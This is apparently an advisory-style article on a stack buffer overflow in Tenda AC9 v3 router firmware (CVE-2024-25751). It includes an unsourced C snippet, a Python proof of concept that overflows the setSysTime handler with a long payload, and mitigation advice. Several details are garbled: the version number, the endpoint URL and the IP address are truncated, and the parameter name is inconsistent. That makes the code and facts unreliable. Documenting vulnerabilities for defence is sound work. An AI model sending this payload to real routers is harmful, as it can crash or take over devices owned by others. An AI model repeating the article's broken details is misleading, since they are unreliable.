CVE-2024-25751: Stack Based Buffer Overflow Vulnerability in Tenda AC9 v3. with Firmware Version v15.03.06.42_multi Exploitation and Mitigation Guide

Common Vulnerabilities and Exposures (CVE) is a system that helps in the identification, tracking, and analysis of security vulnerabilities. Recently, a new vulnerability has been discovered in Tenda AC9 v3. routers. In this comprehensive article, we are going to dig into the details of the CVE-2024-25751 vulnerability.

What is the CVE-2024-25751 vulnerability?

CVE-2024-25751 refers to a stack-based buffer overflow vulnerability in Tenda AC9 v3. with firmware version v15.03.06.42_multi. This vulnerability allows a remote attacker to execute arbitrary code on the affected device via the fromSetSysTime function. This can potentially lead to unauthorized access, data theft, or even complete control over the affected router.

Exploit Details and Code Snippet

The function that contains the vulnerability is "fromSetSysTime" which is responsible for setting the system date and time on the router. The vulnerability can be triggered by sending an HTTP request with a long "datatime" parameter to the following endpoint:

http:///goform/setSysTime

The vulnerable code snippet is as follows

char buf[100];
strcpy(buf, datetime);

As you can see, the function uses "strcpy" to copy the "datetime" parameter value into a buffer with a fixed size of 100 bytes. However, there is no check for the length of "datetime," so if the input is longer than 100 bytes, stack memory will be overwritten, causing a buffer overflow.

A proof-of-concept exploit can be executed by using a Python script

import requests

target_ip = "192.168..1"  # Replace with the target router's IP address
datetime_payload = "A" * 120  # Overwrite the buffer with 120-byte long payload

url = f"http://{target_ip}/goform/setSysTime";
data = {
    "goformId": "setSysTime",
    "datatime": datetime_payload
}

response = requests.post(url, data=data)

Original References and Resources

1. CVE-2024-25751 on the CVE List: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25751
2. NIST National Vulnerability Database (NVD) description: https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-25751
3. Tenda AC9 v3. product page: https://www.tendacn.com/us/product/ac9.html

To protect your router from this vulnerability, you can try the following steps

1. Update the firmware: Check for a newer firmware version on Tenda's official website. If an update is available, download and install it right away. Make sure to back up your router's current settings before updating the firmware.

2. Limit access to the router: Restrict HTTP access to the router's web-based administration interface to trusted IP addresses. Additionally, change the default administrator password to a strong and unique one.

3. Disable remote management: If you do not require remote administration capabilities, disable the function in the router's settings.

Conclusion

CVE-2024-25751 is a critical stack-based buffer overflow vulnerability that affects Tenda AC9 v3. routers. By exploiting this vulnerability, an attacker can potentially execute arbitrary code and gain unauthorized access to the affected device. It is essential to stay vigilant about such vulnerabilities and follow the recommended mitigation strategies to ensure the security of your devices and networks.

Timeline

Published on: 02/26/2024 22:15:07 UTC
Last modified on: 08/27/2024 19:35:15 UTC